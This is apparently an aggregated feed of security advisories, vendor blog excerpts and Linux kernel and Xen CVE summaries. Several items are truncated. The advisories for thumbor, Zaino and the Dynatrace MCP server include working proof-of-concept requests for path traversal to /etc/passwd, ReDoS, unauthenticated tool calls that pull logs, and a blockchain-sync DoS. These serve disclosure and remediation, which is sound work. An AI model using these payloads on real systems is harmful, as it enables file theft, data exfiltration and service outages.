Search: t**n*e**l s.a. c***t**c***a

### Summary `NonFinalizedState::handle_reorg` is a recursive, unbounded async function that traverses parent blocks until it finds a common ancestor on the main chain. It has **no recursion depth limit** and **no cycle detection**. A malicious or buggy validator can serve a block whose `previous_block_hash` points back to itself (or forms a cycle with other blocks), causing `handle_reorg` to infinite-loop, consuming 100% CPU and never making sync progress. Additionally, `update()` contains an `.expect("empty snapshot impossible")` that panics if the non-finalized snapshot becomes empty after trimming finalized blocks. ### Details **Location:** `packages/zaino-state/src/chain_index/non_finalised_state.rs:443-489` ```rust async fn handle_reorg( &self, working_snapshot: &mut NonfinalizedBlockCacheSnapshot, block: &impl Block, ) -> Result<IndexedBlock, SyncError> { let prev_block = match working_snapshot .get_block_by_hash_bytes_in_serialized_order(block.prev_hash_bytes_serialized_order()) .cloned() { Some(prev_block) => { if !working_snapshot .heights_to_hashes .values() .any(|hash| hash == prev_block.hash()) { Box::pin(self.handle_reorg(working_snapshot, &prev_block)).await? // <-- LINE 459 } else { prev_block } } None => { let prev_block = self .source .get_block(HashOrHeight::Hash( zebra_chain::block::Hash::from_bytes_in_serialized_order( block.prev_hash_bytes_serialized_order(), ), )) .await .map_err(|e| { ... })? .ok_or(SyncError::ValidatorConnectionError(...))?; Box::pin(self.handle_reorg(working_snapshot, &*prev_block)).await? // <-- LINE 483 } }; let indexed_block = block.to_indexed_block(&prev_block, self).await?; working_snapshot.add_block_new_chaintip(indexed_block.clone()); Ok(indexed_block) } ``` **Infinite loop via self-referencing block:** 1. A compromised validator serves a block `B` where `B.prev_hash == B.hash`. 2. `handle_reorg` is called with `B`. 3. `get_block_by_hash_bytes_in_serialized_order(B.prev_hash)` finds `B` itself in `working_snapshot.blocks`. 4. Check: is `B.hash` in `working_snapshot.heights_to_hashes`? If `B` is a new chaintip not yet on the main chain, **no**. 5. Recurse with `prev_block` = `B` (the exact same block). 6. This repeats forever. The async recursion builds a new `Box::pin` future each iteration, consuming heap memory and CPU. **Stack exhaustion via deep reorg:** A deep reorg of >1000 blocks would recurse >1000 times. Each async recursion creates a new `Box::pin` future on the heap. While this won't exhaust the native stack immediately, it will allocate unbounded heap memory and CPU time, effectively DoS-ing the sync task. **`.expect("empty snapshot impossible")` panic:** **Location:** `packages/zaino-state/src/chain_index/non_finalised_state.rs:543-548` ```rust new_snapshot.remove_finalized_blocks(finalized_height); let best_block = &new_snapshot .blocks .values() .max_by_key(|block| block.chainwork()) .cloned() .expect("empty snapshot impossible"); // <-- LINE 548 ``` If `finalized_height` is greater than or equal to all blocks in `new_snapshot.blocks`, `remove_finalized_blocks` retains only blocks at or above that height. If none exist, `new_snapshot.blocks` becomes empty. The `.expect()` then panics. While the comment claims this is "impossible," defensive programming dictates it is reachable under corruption or edge-case sync conditions. ### PoC 1. Run a regtest. 2. Serve a block where `header.previous_block_hash == block.hash()`. 3. Zaino's `NonFinalizedState::sync` enters `handle_reorg` and infinite-loops. 4. Sync never completes. CPU usage pegs to 100%. No new blocks are served to clients. ### Fix 1. **Add an explicit recursion depth limit** (e.g., max 1000 iterations) and return `SyncError::ReorgFailure` if exceeded: ```rust const MAX_REORG_DEPTH: usize = 1000; ``` 2. **Track visited hashes** in a `HashSet<BlockHash>` during traversal to detect cycles and abort with an error. 3. **Replace `.expect("empty snapshot impossible")`** with a proper `Err(UpdateError::DatabaseHole)` or similar error return. ### Additional Attack Vectors - **Deep reorg DoS:** A miner with significant hash power (or a compromised validator) triggers a deep reorg. Zaino spends excessive CPU and memory in `handle_reorg`, starving the async runtime and stalling response serving. - **Fork-choice manipulation:** By serving cyclic or very deep sidechains, an attacker can keep Zaino stuck in reorg handling indefinitely, preventing it from ever serving the real best chain.

The file_loader performs `unquote()` on the file path AFTER the `abspath() + startswith()` security check. An attacker can use percent-encoded path traversal sequences (`%2e%2e` for `..`) that pass the security check as literal directory names, but are then decoded to actual `..` traversal sequences. ## Affected code `thumbor/loaders/file_loader.py` lines 28-49: ```python async def load(context, path): file_path = join( context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/") ) file_path = abspath(file_path) inside_root_path = file_path.startswith( # Security check abspath(context.config.FILE_LOADER_ROOT_PATH) ) result = LoaderResult() if not inside_root_path: result.error = LoaderResult.ERROR_NOT_FOUND result.successful = False return result if not exists(file_path): file_path = unquote(file_path) # unquote AFTER check! if exists(file_path) and isfile(file_path): with open(file_path, "rb") as source_file: ... ``` The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies `quote()` in `imaging.py` line 37). ## PoC ```bash # Read /etc/passwd via watermark filter path traversal # %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader, # file_loader unquote decodes %2e to . curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg' ``` Flow: 1. `%252e%252e` arrives at Tornado, decoded to `%2e%2e` 2. Watermark filter passes `%2e%2e/%2e%2e/.../etc/passwd` to file_loader 3. `join(ROOT, '%2e%2e/...')` = `ROOT/%2e%2e/...` 4. `abspath()` sees `%2e%2e` as literal dir name (no dots to resolve) 5. `startswith(ROOT)` = True (passes check) 6. `exists()` returns False (literal `%2e%2e` dir doesn't exist) 7. `unquote()` converts `%2e%2e` to `..` 8. OS resolves `..` → reads files outside ROOT ## Prerequisites - `LOADER = thumbor.loaders.file_loader` (or `file_loader_http_fallback`) - `ALLOW_UNSAFE_URL = True` (this is the default) - watermark/frame filters are enabled by default (in BUILTIN_FILTERS) ## Impact Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.

### Summary The regular expression used to parse the `convolution` filter exhibits exponential-time backtracking for certain inputs, enabling a Regular Expression Denial of Service (ReDoS). ### Details The RegExp for `convolution` is defined as `convolution\((?:\s*((?:[-]?[\d]+\.?[\d]*[;])*(?:[-]?[\d]+\.?[\d]*))\s*)(?:,\s*([\d]+)\s*)(?:,\s*([Tt]rue|[Ff]alse|1|0)\s*)?\)`. Within this expression a dangerous subpattern effectively behaves like `(\d+)*,\d+`. ### PoC A filter string containing many repeated values will exhaust `re.match`: - `convolution(-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11)` - http://localhost:8888/unsafe/0x0/smart/filters:convolution(-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11)/x.png The evaluation occurs on https://github.com/thumbor/thumbor/blob/master/thumbor/filters/__init__.py#L189. ### Impact A specially crafted URL will lead to denial of service, as new images won't be processed until `re.match` returns.

### Summary `@dynatrace-oss/dynatrace-mcp-server` v1.8.5 exposes an HTTP transport mode (`--http` flag) that performs no authentication, session validation, or origin/host verification before dispatching MCP tool calls. Any network-reachable attacker can send a raw JSON-RPC `tools/call` request without an `Authorization` header and have it executed directly under the victim server's Dynatrace credentials. Confirmed high-impact tools reachable without authentication include `execute_dql` (reads arbitrary Grail data, including logs, security events, and user sessions) and `create_dynatrace_notebook` (writes notebooks to the tenant). ### Details When the server is started with the `--http` flag, an HTTP server is created at `src/index.ts:1621`. For every inbound request the handler creates a new `StreamableHTTPServerTransport` instance: ```ts // src/index.ts:1638-1640 const httpTransport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined, // No Session ID needed }); ``` No bearer-token check, session token, `Host` allowlist, or `Origin` allowlist is configured on either the transport or in the surrounding request handler. The raw body is parsed and handed directly to the transport: ```ts // src/index.ts:1648-1668 body = JSON.parse(rawBody); ... await httpTransport.handleRequest(req, res, body); ``` Two tools are directly reachable by an unauthenticated HTTP caller without any `requestHumanApproval` gate: **`execute_dql` — Confidentiality: High** ```ts // src/index.ts:746-769 // No requestHumanApproval before createAuthenticatedHttpClient const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('storage:buckets:read', ...)); return executeDql(dtClient, { query }); ``` An attacker can run arbitrary DQL queries (logs, security events, user sessions, metrics) using the victim's Dynatrace credentials. **`create_dynatrace_notebook` — Integrity: Low** ```ts // src/index.ts:1593-1600 // No requestHumanApproval before createAuthenticatedHttpClient const dtClient = await createAuthenticatedHttpClient(scopesBase.concat('document:write')); return createNotebook(dtClient, { name, sections }); ``` An attacker can create notebooks under the victim's tenant. > **Note on `send_event`:** The initial static report claimed `send_event` was also unguarded. Code inspection at `src/index.ts:1367` confirms a `requestHumanApproval` call exists inside the `send_event` handler. An HTTP attacker (no MCP elicitation loop) causes that call to throw, and the catch block returns `false`, effectively blocking the write. The `send_event` path is therefore not exploitable via the HTTP attack vector. > **Note on PoC tool `reset_grail_budget`:** The PoC uses `reset_grail_budget` (`src/index.ts:1218-1239`), which performs no Dynatrace API calls — it resets in-memory budget counters only. It is used purely as a safe, self-contained proof that unauthenticated dispatch works; actual data exfiltration requires `execute_dql` with real credentials. ### PoC **Environment setup (Docker):** ```bash # Build from repository root docker build \ -t dynatrace-mcp-vuln001:latest \ -f /path/to/vuln-001/Dockerfile \ /path/to/dynatrace-mcp/repo # Run — abc12345 in hostname activates demo mode, skipping real API connectivity check docker run -d \ --name dynatrace-mcp-vuln001-test \ -p 127.0.0.1:3999:3999 \ -e DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com \ -e DT_PLATFORM_TOKEN=fake-token-for-poc \ dynatrace-mcp-vuln001:latest \ --http --port 3999 --host 0.0.0.0 ``` **Unauthenticated tool invocation (no `Authorization` header):** ```bash curl -sS -N -X POST http://127.0.0.1:3999/ \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'Mcp-Protocol-Version: 2025-03-26' \ --data '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"reset_grail_budget","arguments":{}}}' ``` **Observed response (HTTP 200, no authentication required):** ``` HTTP/1.1 200 OK content-type: text/event-stream event: message data: {"result":{"content":[{"type":"text","text":"✅ **Grail Budget Reset Successfully!**\n\nBudget status after reset:\n- Total bytes scanned: 0 bytes (0 GB)\n- Budget limit: 5000 GB\n- Remaining budget: 5000 GB\n- Budget exceeded: No"}]},"jsonrpc":"2.0","id":1} ``` **Python PoC script** (automated, with server-readiness polling): ```bash python3 poc.py 127.0.0.1 3999 # Exits 0 on confirmed unauthenticated tool execution # Exits 2 if server correctly returns HTTP 401 (patched) ``` **High-impact variant with real credentials — data exfiltration via `execute_dql`:** ```bash curl -sS -N -X POST http://<server>:3000/ \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'Mcp-Protocol-Version: 2025-03-26' \ --data '{ "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "execute_dql", "arguments": { "query": "fetch logs | limit 10" }

Sooner or later, every company faces the need to upgrade its infrastructure — whether to accommodate expansion, optimize processes, or keep up with the latest trends in IT. When such a decision is made, company management typically thinks first and foremost about broad changes at the platform level — assuming that applications can simply be reinstalled and everything will work as before. And to a certain extent, that’s actually true. In an era when corporate security could be ensured solely by antivirus software on workstations, that would have worked; however, modern cyberthreats require protection at a fundamentally different level. In this post, we explore why platform migration should be discussed with the security team as well, and why simply “installing a program” isn’t enough to ensure modern-day protection. Security is no longer just a single program In the past, securing endpoints was enough to prevent most attacks. In today’s environment, endpoint protection is just one layer of cybersecurity. A modern extended detection and response (XDR) solution isn’t a single application installed on a computer; it’s a set of components that work in conjunction. They provide protection for workstations and servers, event logging and storing, infrastructure-level threat detection mechanisms, investigation tools, automated response, reporting, and asset management. Each component serves a specific purpose and places different demands on the hardware and platform. For the event storage system , disk speed is the most critical factor. In a large company, the security system generates millions of records per day, and all of them must be written quickly and then retrieved just as quickly when needed. The bottleneck here usually isn’t processor capabilities, but rather how fast the system can read and write data. Threat detection requires computing power. The system compares events in real time and determines what can be a sign of an attack, and what is normal operational activity. Response time is critical for investigation tools . When an analyst investigates an incident and pieces together what happened, they work in real time, and every second of waiting adds to the overall response time to the attack. What does this mean? When a company switches platforms, it’s not enough to simply verify that the company’s existing cybersecurity solutions support the new architecture. The answer “yes, it’s supported” is too vague. It’s essential to clearly understand exactly which parts of the cybersecurity architecture are supported — starting from which version, and what is still under development. What to ask before it’s too late To avoid unexpected complications during implementation and operation, we recommend asking the right questions in advance — during the planning phase. Here are those questions: Which specific components have been tested on the new platform? The question shouldn’t be phrased as “Is the platform supported?”; the compatibility of each part of the system should be verified. Different components of a modern information-security solution operate under different rules, which is why their compatibility is tested separately. A one-word “yes” answer should raise a red flag: a reputable vendor will always provide a detailed response — including a list of components and any caveats (where applicable). Will there be sufficient resources to handle the company’s workload? “It will run” and “it will handle needed data volume” are two fundamentally different statements. The former is verified in a lab on a test bench; the latter depends on how many events specific infrastructure generates per day, and how long the company is required to retain them under regulatory or internal policies. It makes sense to ask the vendor for recommendations on calculating resources based on specific data volumes rather than relying on general minimum resource requirements when planning. Is the security solution up to date? It’s always important to clearl…

As federal enforcement tightens and states begin stepping in with their own cybersecurity mandates, water and wastewater utilities face a looming wave of hard compliance deadlines, compounded by recent cyber attacks on state water utilities. Key takeaways While the EPA’s national sanitary-survey mandate stalled in court, the agency is aggressively using existing authority, technical guidance, and enforcement alerts to inspect cyber gaps. Community water systems serving 3,301 to 49,999 people, the vast majority of U.S. systems, must certify their Risk and Resilience Assessments (RRAs) by June 30, 2026, under AWIA 2013. New York has already finalized binding cybersecurity regulations for wastewater facilities, setting a regulatory template that other states are expected to follow in 2026 and 2027. Under CIRCIA, utilities will soon be legally required to report significant cyber incidents to CISA within 72 hours and ransom payments within 24 hours. Federal grant programs (SLCGP) and liability protections have been extended through Sept. 30, 2026, but remain tied to unpredictable budget cycles while targeted cyber threats continue to rise. Navigating the new reality of water cyber regulation In 2023, the U.S. EPA made an initial push to fold cybersecurity evaluations into state sanitary surveys. While that effort was stayed in court and subsequently withdrawn, the underlying federal statutory requirements and enforcement drivers remain fully active. Instead of relying on new survey rules, federal and state regulators are actively using existing statutory authority and technical guidance to shift water cybersecurity from voluntary recommendations to enforceable compliance deadlines. The urgency to strengthen cybersecurity for water facilities is underscored by a recent coordinated cyber attack that disrupted water and wastewater utility operations across more than 30 Minnesota communities in late July 2026. Utility cyber regulations and mandates moving forward America’s Water Infrastructure Act (AWIA) 2013 / Safe Drinking Water Act (SDWA) 1433 is still very much in force. Community water systems serving more than 3,300 people are legally required to certify a Risk and Resilience Assessment (RRA) and Emergency Response Plan (ERP) to EPA on a five-year recertification cycle, and that cycle explicitly covers cyber threats, not just physical and natural hazards. Recertification deadlines: Systems serving 100,000-plus people: March 31, 2025 50,000–99,999 tier: Dec. 31, 2025 3,301–49,999 tier, the vast majority of U.S. water systems: June 30, 2026, with ERPs due six months after. The EPA hasn’t stopped pushing on cyber. It’s just doing it through guidance, technical assistance, and enforcement of existing authority rather than new rulemaking. In May 2024, the EPA issued an enforcement alert warning it would step up inspections tied to cybersecurity gaps found in drinking water systems. On Oct. 23, 2025, the EPA released an updated package of cyber tools: Revised Emergency Response Plan guide Cybersecurity Incident Response Plan (CIRP) template Incident-specific checklists Cybersecurity procurement checklist These tools are designed to help utilities fold cybersecurity directly into the RRA/ERP process they’re already required to complete. States are stepping in where EPA stepped back With the EPA’s national sanitary-survey mandate dead, states have started writing their own cybersecurity rules for water systems. New York is the clearest example: In March 2026, the New York State Department of Environmental Conservation finalized amendments to six New York Codes, Rules and Regulations (NYCRR) Parts 616, 650 and 750 , adding binding cybersecurity regulations for wastewater treatment facilities, including mandatory incident reporting and access-control requirements built around EPA’s own cybersecurity guidance, incorporated into the rule by reference. Reporting requirements took effect March 26, 2026. It’s a template other states are watchi…

Welcome to this week’s edition of the Threat Source newsletter. For my fianceé’s 30 th birthday, I took her on a weekend trip to Shenandoah National Park – a favorite of ours since we went to a wedding there several years back. We’ve done several incredible hikes over the years, but one in particular had always loomed over my head: Old Rag, a 9.3 mile circuit hike that’s largely considered the most difficult in Virginia. I've always been warned that at the beginning and end, you hate Old Rag. For the first 2.6 miles, you’re hiking a steep climb on a dirt road, with lots of switchbacks, and plenty of places where you turn a corner and groan, because there’s an even steeper section ahead. This part was pretty torturous, because 1) I felt like my heart was going to explode out of my chest, 2) I couldn’t breathe, and 3) several times, there was a family we passed as they were taking a break, then WE took a break and THEY passed US, and so on and so forth. So awkward. Finally, we reached the fun part: a mile-long rock scramble, where you're squeezing through (and down) narrow rock crevices, cramming your boots to desperately find any leverage to propel yourself upward, and using all your upper body strength to control your descent. This was definitely the most fun part, although my hands and knees were sore by the end. After hiking for hours, you reach the top and realize it was all worth it, because the summit has a a spectacular vie— ... That’s what we get for being excited to hike in overcast weather. Well, at least the way back down is fun— oh wait, four miles downward on a fire trail, crushing your toes in the front of your hiking boots? Yike. It may sound like I’m complaining a lot about this hike, but it was genuinely the most fun one that I’ve done to date. By the time I was freshly showered and drinking an iced coffee in Culpeper, I was gushing about when we’d go back. There’s a really good tie-in to cybersecurity somewhere here. Ah, got it. Everyone has had those uphill hike phases with the endless documentation, patching, and alerts that keep you up at night. You’re waiting for the misery to end and hoping that around the next corner, you’ll see a sign that you’re almost out of the woods. Bruised and out of breath, you finally arrive at the exciting parts: a complex project that finally comes together, the thrill of stopping an attack, or a feeling of pride when someone you're mentoring gets a new certification. Maybe the payoff is something completely unexpected. Those moments definitely don’t erase the exhaustion — you're still sore and bruised, and will be for days — but they do remind you why you started in the first place. The one big thing Talos released our Q2 2026 Incident Response Trends report , which showed a massive spike in authentication abuse and sophisticated phishing tactics. Phishing drove over half of all engagements, with attackers leveraging QR codes and advanced platforms like ARToken to bypass multi-factor authentication (MFA). Additionally, ransomware operators are increasingly weaponizing legitimate remote management tools like MeshAgent and Zoho Assist to establish stealthy, persistent access. Why do I care? Standard email gateways and basic MFA are no longer enough to stop adversaries from bypassing traditional defenses. By abusing legitimate administrative tools and trusted cloud infrastructure, threat actors can easily blend malicious traffic with normal network activity to remain undetected before deploying ransomware. Furthermore, the continued targeting of health care and public administration highlights a deliberate focus on organizations with zero tolerance for downtime. So now what? Organizations must transition from push- and SMS-based MFA to phishing-resistant methods like FIDO2 or hardware security keys. Defenders should also shift to behavior-based monitoring, specifically hunting for unauthorized instances of administrative tools. Finally, configure centralized logging with at leas…

The best compliance programs aren't the biggest ones. They're the ones built on a short list of questions that can actually be answered, and that still hold true when the models change. The post Timeless Compliance: Why Better Questions Beat Bigger Frameworks appeared first on SecurityWeek .

Your phone rings, you pick up and say hello. On the other end: total silence. No one answers, and the call abruptly disconnects. If you don’t already use spam call blockers, you’ve almost certainly run into this situation before. In most cases, these are scam calls. Today, we explain why these calls happen, what the callers want from you, and how to protect yourself. Most importantly, we’ll look at whether you even need to bother protecting yourself against them in the first place. Who’s calling? It’s not just scammers on the line — robots, legitimate call center operators, and ordinary folks make these calls too. Let’s break down each type of caller — ordered from best-case to worst-case scenario for your security. Actual person The most harmless scenario is that an actual person called you, but their microphone is acting up. Maybe they accidentally muted themselves with their ear, or their smartphone connected to a Bluetooth headset, speaker, or car system that isn’t capturing their voice. Carrier glitches can also mute one side of a call. The caller might have no idea there’s a problem — as far as they know, they are speaking, but no one can hear them. In cases like this, you usually recognize the incoming phone number. If the call comes from an unknown number, there’s still no need to panic — though the list of those who might be calling gets much longer. One legitimate possibility is a call center agent who simply didn’t pick up or connect their headset in time. Call center systems are designed to dial numbers faster than agents can wrap up their calls. The system tried to route the call to a human, but no reps were available. That’s why you sometimes have to wait a few seconds before hearing a single word, or why you might hear ringing tones as if you were the one making the call. Robot or AI Silence on the line is a common sign of robocalls. Robots test whether a phone number is active and, if it is, pass it along to a human — meaning a real sales rep (or scammer) will call you back in the next few days. It’s worth noting that scammers aren’t the only ones making these pinging calls. Legitimate call centers use the exact same tools to reduce the workload on their live agents. An AI agent could also be behind the silent call. To the person answering, there’s no practical difference: the call looks identical to one made by a standard bot. However, AI can do more than just auto-dial numbers — it can analyze your response and use that data to decide whether your number is active and ready to be handed off to a live person for follow-up. Unwanted caller Now we get to the real threat. Perhaps one of the most dangerous and unpleasant sources of silent phone calls is a scammer. A quick, silent call like this can actually be the groundwork for a long, elaborate attack with cover stories about loans, government agencies, other fraudsters, even law enforcement. Debt collectors might also be calling and staying quiet. Your number could end up on their radar if you, your family, or close contacts have outstanding debts. In these cases, a silent call is often used as a tactic for psychological pressure. A similar technique is used in stalking. While silent calls cause no direct harm on their own, they can be leveraged to induce anxiety, create a feeling of being constantly watched, and cause ongoing emotional distress. Why do they call and stay silent? When you pick up, you likely respond out of habit with a quick “Hello?” or “Hi there.” That’s all it takes for the other party to gather a wealth of data. While this information used to be difficult to process, the rise of artificial intelligence has made the task significantly easier. Let’s look at what someone can learn about you from just one spoken word: Region, accent, and location. Scammers are sophisticated and cunning. Their tactics are often tailored by region — targeting residents of specific countries or even regions within them. This is especially relevant in places like In…

Cybersecurity is rarely a straight line. In this special Black Hat edition of Humans of Talos, Amy looks back at the incredible journeys that brought past guests to the world of threat intelligence. From forensic labs and newsrooms to the kitchen line, we’re revisiting the stories and lessons that define the people behind the threat intelligence. Heading to Black Hat? We have a presence within the Cisco and Splunk booth (2633) during Black Hat where you can chat to us about our latest threat research and incident response, and grab the newest Snorty. Check out our schedule here . Want more episodes? Watch the full episode , and don’t forget to subscribe to our YouTube channel for the next Humans of Talos.

In firmware versions 2.7.7 and earlier, the Arris BGW210‑700 gateway fails to enforce any server‑side authentication on its /cgi-bin/*.ha management endpoints, relying solely on client‑side CSS/JavaScript gating that can be bypassed by any HTTP client. This allows unauthenticated attackers on the LAN to read sensitive configuration data, modify persistent device settings, or trigger backend diagnostic operations. The issue appears systemic across the CGI handler chain.

Xenstore, to have an up-to-date picture of the entire system, wants to know of domains appearing and disappearing. To make this more robust, a new XEN_DOMCTL_get_domain_state was introduced. The management of the bitmap underlying that operation is tied into the binding of the VIRQ_DOM_EXC virtual IRQ. Unfortunately an error path there would tear down the bitmap even in cases when it wasn't set up. Unprivileged domains can trigger that error path.

[This CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] With the introduction of Grant Table v2 came the requirement to be able to switch between versions. Switching from v1 to v2 reduces the number of valid grant references, as a bigger shared entry structure is then needed while the shared table doesn't change size. Switching from v2 back to v1 the status frames, which are separate in v2, go away. Code holding, but intermediately dropping and then re-acquiring the grant table lock, sometimes wrongly assumes that said properties wouldn't change across the window in time where the lock is not being held. The v1 -> v2 issue is CVE-2026-62435. The v2 -> v1 issue is CVE-2026-62436.

CVE-2026-62434 is a vulnerability in Xen where a guest started with Populated on Demand (PoD) enabled can attempt to reclaim pages that are not regular guest RAM. This behavior can lead to corruption of the memory management state within Xen. The vulnerability has a medium severity rating and does not have known exploits in the wild. No affected versions or patches are explicitly stated in the available data.

A vulnerability in the Linux kernel's drm/msm/dsi driver on DSI 6G platforms could allow access past the mapped IO address space due to improper adjustment of the memory dump size relative to the io_offset. This issue has been resolved by lowering the control size by the io_offset value to prevent access beyond the mapped region. The vulnerability affects specific Linux kernel versions and has a CVSS score of 5.5 with low severity. A patch is available to address this issue.

In the Linux kernel, the following vulnerability has been resolved: media: rc: igorplugusb: fix control request setup packet Commit eac69475b01f ("media: rc: igorplugusb: heed coherency rules") changed the control request storage from an embedded struct to an allocated pointer so it can obey DMA coherency rules. However, the driver still passes &ir->request to usb_fill_control_urb(). That points the URB setup packet at the pointer field itself rather than at the allocated struct usb_ctrlrequest. USB core then interprets pointer bytes as the setup packet. This can produce an invalid bRequestType and trigger the control direction warning reported by syzbot: usb 2-1: BOGUS control dir, pipe 80003580 doesn't match bRequestType 0 Pass ir->request itself as the setup packet.

In the Linux kernel, the following vulnerability has been resolved: gpio: rockchip: teardown bugs and resource leaks Address several teardown issues and resource leaks in the driver's remove path and error handling: 1. Debounce clock reference leak: The debounce clock (bank->db_clk) is obtained using of_clk_get() which increments the clock's reference count, but clk_put() is never called. Register a devm action to cleanly release it on unbind. Note that of_clk_get(..., 1) remains necessary over devm_clk_get() because the DT binding does not define clock-names, precluding name-based lookup. 2. Unregistered chained IRQ handler: The chained IRQ handler is not disconnected in remove(). If a stray interrupt fires after the driver is removed, the kernel attempts to execute a stale handler, leading to a panic. Fix this by clearing the handler in remove(). 3. IRQ domain leak: The linear IRQ domain and its generic chips are allocated manually during probe but never removed. Remove the IRQ domain during driver teardown to free the associated generic chips and mappings. [Bartosz: don't emit an error message on devres allocation failure]

A vulnerability in the Linux kernel's srcu subsystem could cause hangs on s390 architectures by queueing workqueue handlers to CPUs that have never been online, including imaginary CPUs. This issue arises during the transition of an srcu_struct from CPU-0 to all-CPUs state, where callbacks may be invoked on CPUs not fully online. The fix prevents queueing handlers on such CPUs and redirects callbacks to the boot CPU. This vulnerability has a medium severity with a CVSS score of 5.5 and affects multiple Linux kernel versions.

In the Linux kernel, the following vulnerability has been resolved: net/mlx5e: xsk: Fix unlocked writing to ICOSQ During napi poll, when the affinity changes and there's still XSK work to be done, we trigger an ICOSQ interrupt on the new CPU. However, this triggering on the ICOSQ is done unprotected. There are 2 such races: A) mlx5e_trigger_irq() is called while mlx5e_xsk_alloc_rx_mpwqe() is running from a different CPU due to affinity change. This can happen because IRQ triggering is done after napi_complete_done(). At this point the NAPI can be scheduled on a different CPU. Like this: CPU A (old affinity, NAPI tail) CPU B (new affinity, fresh NAPI) ------------------------------- -------------------------------- napi_complete_done() clears SCHED mlx5e_cq_arm(...) napi_schedule_prep() sets SCHED mlx5e_napi_poll() mlx5e_xsk_alloc_rx_mpwqe() mlx5e_icosq_sync_lock() // noop memcpy 640 B UMR body advance sq->pc by 10 mlx5e_trigger_irq(&c->icosq) wqe_info[pi] = {NOP, 1} mlx5e_post_nop() advances sq->pc B) mlx5e_trigger_irq() is called on the ICOSQ when mlx5e_trigger_napi_icosq() is running. The obvious fix would be to lock the ICOSQ. But ICOSQ has an optimized locking scheme that doesn't work for this scenario. Kick the async ICOSQ instead which is always locked. This issue was noticed in the wild with the following splat: netdevice: ge-0-0-1: Bad OP in ICOSQ CQE: 0xd WARNING: drivers/net/ethernet/mellanox/mlx5/core/en_rx.c:826 [...] [...] Call Trace: <IRQ> mlx5e_napi_poll+0x11d/0x7f0 [mlx5_core] __napi_poll+0x30/0x200 ? skb_defer_free_flush+0x9c/0xc0 net_rx_action+0x2fe/0x3f0 handle_softirqs+0xd8/0x340 __irq_exit_rcu+0xbc/0xe0 common_interrupt+0x85/0xa0 </IRQ> <TASK> asm_common_interrupt+0x26/0x40 [...] ---[ end trace 0000000000000000 ]--- mlx5_core 0000:08:00.0 ge-0-0-1: Error cqe on cqn 0x548, ci 0x2022, qn 0x8f4, opcode 0xd, syndrome 0x2, vendor syndrome 0x68 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000030: 00 00 00 00 01 00 68 02 01 00 08 f4 de 14 59 d2 WQE DUMP: WQ size 16384 WQ cur size 0, WQE index 0x1e14, len: 64 00000000: 00 00 00 01 d9 ed 80 02 00 00 00 01 d9 ed 90 02 00000010: 00 00 00 01 d9 ed a0 02 00 00 00 01 d9 ed b0 02 00000020: 00 00 00 01 d9 ed c0 02 00 00 00 01 d9 ed d0 02 00000030: 00 00 00 01 d9 ed e0 02 00 00 00 01 d9 ed f0 02 mlx5_core 0000:08:00.0 ge-0-0-1: Error cqe on cqn 0x548, ci 0x2023, qn 0x8f4, opcode 0xd, syndrome 0x5, vendor syndrome 0xf9 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00000030: 00 00 00 00 01 00 f9 05 01 00 08 f4 de 15 cf d2

In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: mld: don't dereference a pointer before NULL checking it In iwl_mld_remove_link, the link->fw_id is saved at the beginning of the function so we have it after we freed the link. But the link pointer can be NULL, and is not checked when the fw_id is stored. Fix it by simply freeing the link at the end of the function. fFixes: 0e66a39f4f0e ("wifi: iwlwifi: fix potential use after free in iwl_mld_remove_link()")